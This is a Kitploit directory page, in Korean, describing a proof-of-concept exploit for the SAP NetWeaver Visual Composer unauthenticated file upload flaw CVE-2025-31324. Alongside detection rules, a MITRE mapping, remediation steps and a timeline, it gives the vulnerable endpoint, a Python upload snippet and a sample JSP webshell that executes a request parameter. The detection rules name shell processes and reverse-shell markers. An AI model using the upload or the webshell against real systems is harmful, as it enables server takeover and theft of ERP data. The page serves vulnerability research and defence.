Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-31324 — CVE-2025-31324에 대한 개념 증명 익스플로잇으로, SAP NetWeaver Visual Composer의 인증되지 않은 파일 업로드 취약점이며, 탐지 가이드, MITRE 매핑 및 수정 단계를 포함합니다. | Kitploit
도구/GitHubGitHub/hkenzokimura/cve-2025-31324
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingIncident Response
GitHubhkenzokimura/cve-2025-31324

CVE-2025-31324

CVE-2025-31324에 대한 개념 증명 익스플로잇으로, SAP NetWeaver Visual Composer의 인증되지 않은 파일 업로드 취약점이며, 탐지 가이드, MITRE 매핑 및 수정 단계를 포함합니다.

저장소 보기
5시간 23분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🔴 CVE-2025-31324 — SAP NetWeaver Visual Composer 인증되지 않은 파일 업로드

유형: 개념 증명 — 취약점 연구 CVE: CVE-2025-31324 CVSS: 10.0 Critical (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) 상태: 패치됨 — SAP 보안 노트 3594142 + 3604119 CISA KEV 추가: 2025년 5월

⚠️ 이 PoC는 악성 코드를 실행하지 않고 공격 표면을 검증하기 위해 무해한 JSP 파일("Hello World")을 사용합니다. 침투 테스트 및 탐지 개발 목적으로 승인된 환경에서만 사용하십시오.

Developed by: HKK


$ cat ./vulnerability_summary.txt

CVE-2025-31324 취약점은 SAP NetWeaver AS Java의 Visual Composer Metadata Uploader 구성 요소에 존재합니다 — 인증 확인 누락(missing authorization check) 결함으로, 인증되지 않은 모든 공격자가 /developmentserver/metadatauploader 엔드포인트에 POST 요청을 보내 임의 파일을 무제한 업로드할 수 있습니다.

이 CVE는 특히 SAP NetWeaver Visual Composer Framework 버전 7.50에 영향을 미치며, CVSS 점수는 최대치인 10.0입니다.

위협 행위자들은 2025년 1월부터 5월까지 이 취약점을 적극적으로 악용하여 전 세계 수백 개 시스템에 지속적인 웹셸을 배포했습니다.


$ cat ./impact.txt

높은 권한으로 작동하고 ERP 데이터에 근접해 있기 때문에, 악용 후 SAP ABAP 스택이나 연결된 데이터베이스로의 측면 이동은 사소한 일입니다.

실제 공격에서의 전체 악용 체인:

root@kitploit:~
JSP 업로드 (CVE-2025-31324)
    → 서버 내 지속적 웹셸
        → SAP 프로세스로 RCE (높은 권한)
            → ERP 데이터 접근 (재무, 인사, 공급망)
                → ABAP / DB로 측면 이동
                    → C2 프레임워크 배포 (예: Brute Ratel)

$ cat ./architecture.txt

취약한 엔드포인트의 작동 방식

root@kitploit:~
┌─────────────────────────────────────────────────────────────────────────┐
│              CVE-2025-31324 — EXPLOIT FLOW                              │
│                                                                         │
│  공격자                      SAP NETWEAVER AS JAVA                      │
│                                                                         │
│  POST /developmentserver/metadatauploader                               │
│  Content-Type: multipart/form-data          ┌─────────────────────┐    │
│  본문: JSP/WAR/모든 파일 ──────────────────► │  Metadata Uploader  │    │
│  (인증 없음)                                 │                     │    │
│                                             │  ❌ 인증 확인 없음    │    │
│                                             │  ❌ 확장자 검증 없음  │    │
│                                             │  ❌ 콘텐츠 검증 없음  │    │
│                                             └────────┬────────────┘    │
│                                                      │                 │
│                                             파일 저장 위치:             │
│                                             /irj/root/ 또는 유사 경로  │
│                                                      │                 │
│  GET /irj/hello_world.jsp ◄──────────────────────────┘                 │
│  → Hello World (무해한 PoC)                                            │
│  → Webshell (실제 악용)                                                │
└─────────────────────────────────────────────────────────────────────────┘

엔드포인트가 존재하는 이유는?

/developmentserver/metadatauploader는 SAP Visual Composer의 일부입니다 — 비즈니스 분석가가 Java 코드 없이 SAP 애플리케이션을 만들 수 있는 로우코드 개발 도구입니다. 이 엔드포인트는 개발 중 메타데이터 모델을 수신하도록 설계되었습니다. 이 구성 요소는 NetWeaver 기본 구성에서는 활성화되어 있지 않지만, Onapsis는 프로덕션 환경에서 광범위하게 활성화되어 있다고 보고했습니다.


$ cat ./design_decisions.md

1. 페이로드 선택 — JSP "Hello World"

root@kitploit:~
file_content = """<%@ page language="java" contentType="text/html; charset=UTF-8" ...%>
<h1>Hello World</h1>"""

왜 JSP인가? 다른 형식이 아닌 이유는?

SAP NetWeaver AS Java는 JVM을 실행합니다 — .jsp 파일은 사전 컴파일 없이 서블릿 컨테이너(내장 Apache Tomcat)에 의해 직접 해석됩니다.这使得 JSP는 Java 환경에서 웹셸에 이상적인 형식입니다.

무해한 콘텐츠("Hello World")를 선택한 것은 PoC를 위한 의도적인 결정입니다:

  • 취약한 표면을 검증하면서 악성 코드를 실행하지 않음
  • 업로드를 확인 (HTTP 200 코드 + GET을 통한 파일 접근 가능)
  • 침투 테스트 보고서를 위한 깨끗한 법의학적 증거

실제 악용에서는 콘텐츠가 명령 실행이 가능한 JSP 웹셸이 될 것입니다, 예:

root@kitploit:~
<%
  String cmd = request.getParameter("cmd");
  Runtime.getRuntime().exec(cmd);
%>

2. multipart/form-data — 왜 이 Content-Type인가?

root@kitploit:~
files = {'file': (file_name, open(file_name, 'rb'), 'application/octet-stream')}

엔드포인트는 multipart/form-data 요청을 기대합니다 — HTML 파일 업로드 양식에서 사용되는 것과 동일한 형식입니다. 이는 Visual Composer의 원래 설계(개발 모델 업로드)에서 의도된 것입니다.

requests 라이브러리는 files=가 전달될 때 multipart 경계를 자동으로 구성합니다 — Content-Type: multipart/form-data; boundary=... 헤더가 내부적으로 생성됩니다.

verify=False: TLS 인증서 검증을 비활성화합니다 — SAP 환경은 종종 자체 서명 인증서를 사용하기 때문에 필요합니다. 프로덕션에서는 verify='/path/to/ca-bundle.crt'를 사용하십시오.

3. 엔드포인트 경로 — URL 구조 분석

root@kitploit:~
https://<host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
구성 요소의미
:50201SAP ICM(Internet Communication Manager) HTTPS 기본 포트
/developmentserver/Visual Composer 개발 서블릿
metadatauploader메타데이터 업로드 전용 엔드포인트
CONTENTTYPE=MODEL엔드포인트가 기대하는 콘텐츠 유형
CLIENT=1SAP 클라이언트(tenant) — 000, 100, 001이 일반적

$ cat ./mitre_mapping.yml

root@kitploit:~
tactic: Initial Access
  - T1190  # Exploit Public-Facing Application
            # 인증 없이 HTTP POST를 통한 /developmentserver/metadatauploader
            # 엔드포인트 악용

tactic: Execution
  - T1505.003  # Server Software Component: Web Shell
               # JSP 웹셸 업로드 → 서블릿 컨테이너(Tomcat)에 의해 실행

tactic: Persistence
  - T1505.003  # 지속성 메커니즘으로서의 웹셸
               # JSP 파일은 재시작 사이에도 서버 파일시스템에 유지됨

tactic: Defense Evasion
  - T1036      # Masquerading
               # 합법적인 SAP 파일로 위장한 웹셸 (예: metadata.jsp)

tactic: Discovery
  - T1082      # System Information Discovery
               # RCE 이후: 프로세스, 사용자, SAP 경로 열거

tactic: Lateral Movement
  - T1210      # Exploitation of Remote Services
               # RCE를 통한 ABAP 스택, 연결된 데이터베이스 접근

tactic: Collection
  - T1005      # Data from Local System
               # ERP 데이터 직접 접근 (재무, 인사, 공급망)

$ cat ./affected_versions.txt

root@kitploit:~
제품:  SAP NetWeaver Application Server Java
구성 요소: Visual Composer Framework
버전:   7.50 (2025년 4월/5월 패치 이전의 모든 빌드)

패치:
  SSN 3594142 → 초기 패치 (2025년 4월) — 파일 업로드 완화
  SSN 3604119 → CVE-2025-42999를 통한 근본 원인 수정 (2025년 5월) — 근본 원인 해결
  SSN 3578900, 3620498, 3621771, 3634501 → 보안 강화 보조 노트

CISA KEV: CVE-2025-31324 및 CVE-2025-42999 모두 카탈로그에 추가됨

$ cat ./detection_opportunities.md

악용 탐지 (공격 중)

root@kitploit:~
# 규칙: Metadata Uploader 엔드포인트에 대한 인증되지 않은 POST
# 소스: SAP Web Dispatcher / ICM 액세스 로그

조건:
  - method: POST
  - uri_path CONTAINS: /developmentserver/metadatauploader
  - auth_header: ABSENT
  - body_content_type: multipart/form-data

심각도: 치명적 — 즉시 조사
root@kitploit:~
# SAP ICM 로그 — 의심스러운 패턴:
[2025-04-25 03:41:22] POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1
Status: 200 | Size: 1337 | Auth: NONE | IP: x.x.x.x

웹셸 탐지 (침해 후)

root@kitploit:~
# 규칙: 합법적인 SAP 경로 외부에서 최근 생성된 .jsp 파일에 대한 GET
조건:
  - method: GET
  - uri_path MATCHES: /irj/.*\.jsp
  - file_creation_time: < 24h
  - file_NOT_IN: [알려진 합법적 JSP 목록]
root@kitploit:~
# SAP JVM의 의심스러운 자식 프로세스
# 소스: Sysmon / EDR 프로세스 생성
조건:
  - parent_process: java.exe 또는 jstart.exe
  - child_process: cmd.exe 또는 powershell.exe 또는 sh 또는 bash
  - command_line CONTAINS: -c 또는 .socket 또는 .call( 또는 .spawn(

Red Canary는 Linux 환경에서 CVE-2025-31324 악용에 대한 다음 탐지 패턴을 문서화했습니다: .socket 및 .call( 또는 .spawn(과 결합된 -c 인수를 가진 python 프로세스 — 웹셸 이후 리버스 셸을 나타냅니다.

SAP 로그 헌팅

root@kitploit:~
# 지난 90일 동안 취약한 엔드포인트에 대한 POST 요청 검색
# 로그 디렉토리: /usr/sap/<SID>/J<inst>/work/

grep -r "metadatauploader" /usr/sap/*/work/dev_icm* | grep "POST"
grep -r "metadatauploader" /usr/sap/*/work/http_access* | grep -v "GET"

# 웹 디렉토리에서 최근 생성된 JSP 나열
find /usr/sap/ -name "*.jsp" -newer /usr/sap/<SID>/SYS/global/security -type f

$ cat ./remediation.md

root@kitploit:~
우선순위: 치명적 — 즉시 패치

1. 구성 요소가 활성화되어 있는지 확인:
   NWA → Configuration → Infrastructure → Java System Properties
   검색: com.sap.tc.vccomp.server.vis.jms.VisJmsService

2. 필요하지 않은 경우 → Visual Composer 비활성화:
   NWA → Start & Stop → Services → VisualComposer → Stop

3. 필수 패치 적용 (순서대로):
   SSN 3594142  ← 중요 (파일 업로드)
   SSN 3604119  ← 근본 원인 (CVE-2025-42999)
   SSN 3578900, 3620498, 3660659 (추가 보안 강화)

4. JVM Serial Filter 구성 (패치 후):
   NWA → JVM Parameters → 악성 클래스 필터 추가

5. Web Dispatcher / 방화벽에서 엔드포인트에 대한 네트워크 접근 제한:
   차단: 외부 IP에 대한 /developmentserver/*
   허용: 승인된 개발 호스트만

6. IOC 확인 — 패치 전에 배포된 웹셸 검색:
   2025년 1월부터 ICM 로그 분석
   /irj/에서 의심스러운 콘텐츠가 있는 .jsp 파일 검색

$ cat ./usage.sh

root@kitploit:~
# 의존성 설치
pip install requests

# 실행 전 스크립트에서 URL 편집:
# url = "https://<your-lab-host>:<port>/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1"

# 실행
python cve_2025_31324_poc.py

# 업로드 성공 여부 확인 (파일에 접근 가능해야 함)
curl -k https://<host>:<port>/irj/hello_world.jsp
# 취약한 경우 예상 응답: "Hello World"가 포함된 HTML
# 패치된 경우 예상 응답: 404 또는 403

$ cat ./timeline.txt

root@kitploit:~
2025년 1월      야생에서의 적극적 악용 시작 (소급 탐지)
2025년 4월 24일  SAP가 CVE-2025-31324 (CVSS 10.0) + SSN 3594142 공개
2025년 4월 28일  CISA가 Known Exploited Vulnerabilities Catalog에 추가
2025년 4월 29일  Rapid7, Qualys, Red Canary 기술 분석 공개
2025년 5월 7일   Onapsis + Mandiant (Google Cloud) 공동 브리핑 공개
2025년 5월 13일  SAP가 SSN 3604119 공개 (CVE-2025-42999를 통한 근본 원인, CVSS 9.1)
2025년 5월 15일  CISA가 CVE-2025-42999를 KEV 카탈로그에 추가
2025년 5월 20일  미국 연방 시스템 패치를 위한 CISA 마감일
2025년 6월 25일  Unit 42가 캠페인에 대한 능동 모니터링 종료

$ cat ./references.md

root@kitploit:~
CVE:        https://www.cve.org/CVERecord?id=CVE-2025-31324
SAP Note:   https://me.sap.com/notes/3594142
NVD:        https://nvd.nist.gov/vuln/detail/CVE-2025-31324
CISA KEV:   https://www.cisa.gov/known-exploited-vulnerabilities-catalog
Onapsis:    https://onapsis.com/blog/active-exploitation-of-sap-vulnerability-cve-2025-31324/
Rapid7:     https://www.rapid7.com/blog/post/2025/04/28/etr-active-exploitation-of-sap-netweaver-visual-composer-cve-2025-31324/
Unit 42:    https://unit42.paloaltonetworks.com/threat-brief-sap-netweaver-cve-2025-31324/
Red Canary: https://redcanary.com/blog/threat-intelligence/cve-2025-31324/

$ cat ./lessons_learned.txt

root@kitploit:~
[+] "개발" 엔드포인트의 인증 누락은 과소평가된 전형적인 벡터
[+] CVSS 10.0의 의미: 인증 없음 + 네트워크 + 완전한 RCE — 가장 치명적인 트라이펙타
[+] Visual Composer는 기본값이 아니지만 프로덕션에서 광범위하게 활성화됨 — 섀도우 기능의 위험
[+] JSP 웹셸은 특히 은밀함: 컴파일 없이 컨테이너가 직접 실행
[+] 위협 행위자들은 공개 공개 전 3개월 이상 악용 — SOC 탐지가 중요
[-] PoC의 verify=False — 실제 침투 테스트에서는 자체 서명 인증서를 문서화하고 verify=경로 사용
[-] CLIENT=1 하드코딩 — 프로덕션은 000, 100, 200을 사용할 수 있음; 사전 열거 필요
[-] PoC는 업로드 후 파일 접근 가능 여부를 확인하지 않음 — GET 확인 추가
[→] 개선 사항: host/port/client용 argparse, 업로드 후 자동 확인, JSON 출력

CVE Research · CVSS 10.0 · Patched April/May 2025 · CISA KEV · Authorized testing only

도구 다운로드